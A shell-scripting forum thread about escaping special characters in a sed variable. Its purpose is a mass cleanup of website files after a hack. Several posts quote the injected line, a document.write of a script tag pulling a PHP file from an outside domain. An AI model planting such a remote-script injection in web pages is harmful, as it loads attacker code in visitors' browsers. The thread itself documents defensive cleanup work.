Special chars in sed variable


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Special chars in sed variable
# 1  
Old 12-02-2009
Network Special chars in sed variable

Hi,

For years ive been using this script to do mass search & replaces on our websites. Its worked with all sorts of spaces, quotes, html or whatever with a little adjusting here and there. But I just cant get this pattern to work:

Code:
#!/bin/bash
OLDURL="document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');"
NEWURL=""

for f in `cat filelist`; do
        cp  $f $f.churlbak
        sed "s|$OLDURL|$NEWURL|g" $f.churlbak > $f
done

Ive tried every way of quoting and escaping that I can think of but its just not working. This is the string im trying to match:
Code:
document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');

Any ideas? I tried matching it in perl as well but im not really fluent in perl and ran into similar problems. TIA.

Last edited by Franklin52; 12-03-2009 at 03:33 AM.. Reason: Please use code tags!
# 2  
Old 12-03-2009
Quote:
Originally Posted by mutex
This is the string im trying to match:
document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');
Perhaps you mean trying to match
Code:
document.write('<script src=http://bsrtechnologies.com/images/index1.php ></script>');

The statements in the files will probably not have an escape "/" ? I tried it and the matching seems to work.
If your file does contain
Code:
document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');

you could use this:
Code:
OLDURL="document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\\\/script>');"

It might be that the trouble lies in you filelist and your file names contain strange characters?
Perhaps this would make a difference?
Code:
while read f; do
   cp "$f" "$f.churlbak"
   sed "s|$OLDURL|$NEWURL|g" "$f.churlbak" > "$f"
done < filelist


Last edited by Scrutinizer; 12-03-2009 at 01:54 AM..
# 3  
Old 12-03-2009
Scrutinizer thank you so much...that was driving me crazy! One of our developers had their account hacked and someone uploaded thousands of files with various urls, the bsrtechnologies.com link being one of them.

They did have a \ in the string they inserted, but I was trying to get it working by only escaping it once. Escaping it twice like you mentioned worked great.

Now to go search why it needed to be escaped twice instead of just once.

Thanks again!
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Beginners Questions & Answers

Shell script to split data with a delimiter having chars and special chars

Hi Team, I have a file a1.txt with data as follows. dfjakjf...asdfkasj</EnableQuotedIDs><SQL><SelectStatement modified='1' type='string'><! The delimiter string: <SelectStatement modified='1' type='string'><! dlm="<SelectStatement modified='1' type='string'><! The above command is... (7 Replies)
Discussion started by: kmanivan82
7 Replies

2. UNIX for Dummies Questions & Answers

How to search for a string with special chars?

Hi guys, I am trying to find the following string in a file, but I always get pattern not found error, not sure what is missing here. Can you help please? I do a less to open the xrates.log and then do a /'="18"' in the file and tried various combinations to search the below string. String... (8 Replies)
Discussion started by: santokal
8 Replies

3. Shell Programming and Scripting

All strings within two special chars

I have a file with multiple lines. From each line I want to get all strings that starts with '+' and ends with '/'. Then I want the strings to be separated by ' + ' Example input: +$A$/NOUN+At/NSUFF_FEM_PL+K/CASE_INDEF_ACC Sample output: $A$ + At + K (20 Replies)
Discussion started by: Viernes
20 Replies

4. Shell Programming and Scripting

Trouble with sed and substituting a string with special characters in variable

Hey guys, I know that title is a mouthful - I'll try to better explain my struggles a little better... What I'm trying to do is: 1. Query a db and output to a file, a list of column data. 2. Then, for each line in this file, repeat these values but wrap them with: ITEM{ ... (3 Replies)
Discussion started by: ampsys
3 Replies

5. Shell Programming and Scripting

How to substitute variable in sed for special character?

Hi , I have input file like below Hi this is "vinoth". Hi happy to work with 'unix' USA(united states of America) My script variables are below : Dquote=Ộ Squote=&#$567 Obrac=&^986 Cbrac=&^745 I want to read the variables in my SED command to replace the double quote,single... (9 Replies)
Discussion started by: vinothsekark
9 Replies

6. Shell Programming and Scripting

Sed failing for variable with special characters

This has been covered many times earlier but couldnt figure the issue myself. Can you please advise whats wrong on the below code I have a variable with special character ($) and am using that variable to replace another variable in file but however sed is failing to parse it correctly ... (7 Replies)
Discussion started by: sasiharitha
7 Replies

7. Shell Programming and Scripting

Special characters in a bash variable in sed

Hello, I am trying the following: echo __CHANGEME__ >> testfile VAR1="&&&" sed -i "s|__CHANGEME__|${VAR1}|" testfile cat testfile This results in testfile containing __CHANGEME____CHANGEME____CHANGEME__ Whereas I want it to result in &&& I understand that if VAR1="\&\&\&" then... (3 Replies)
Discussion started by: linuxnewbeee
3 Replies

8. Shell Programming and Scripting

special chars arrangement in code

here is my simple script to show process and owners except me: ps `-ef |grep xterm |grep -v aucar` | while read a1 a2 a3 a4 a5 a6 a7 a8 do echo KILL..\($a1\).. $a2 |more done how can I pass values from command "ps -ef |grep xterm|grep -v aucar" to ? because above command... (2 Replies)
Discussion started by: xramm
2 Replies

9. Shell Programming and Scripting

treating special chars

Hi, I need some advise on treating non printable chars over ascii value 126 Case 1 : On some fields in the text , I need to retiain then 'as-is' and load to a database.I understand it also depends on database codepage. but i just wanna know how do i ensure it do not change while loading... (1 Reply)
Discussion started by: braindrain
1 Replies

10. UNIX for Advanced & Expert Users

Supress special chars in vi

Hi, One of our application is producing log files. But if we open the log file in vi or less or view mode, it shows all the special characters in it. The 'cat' shows correctly but it shows only last page. If I do 'cat' <file_name> | more, then again it shows special characters. ... (1 Reply)
Discussion started by: divakarp
1 Replies
Login or Register to Ask a Question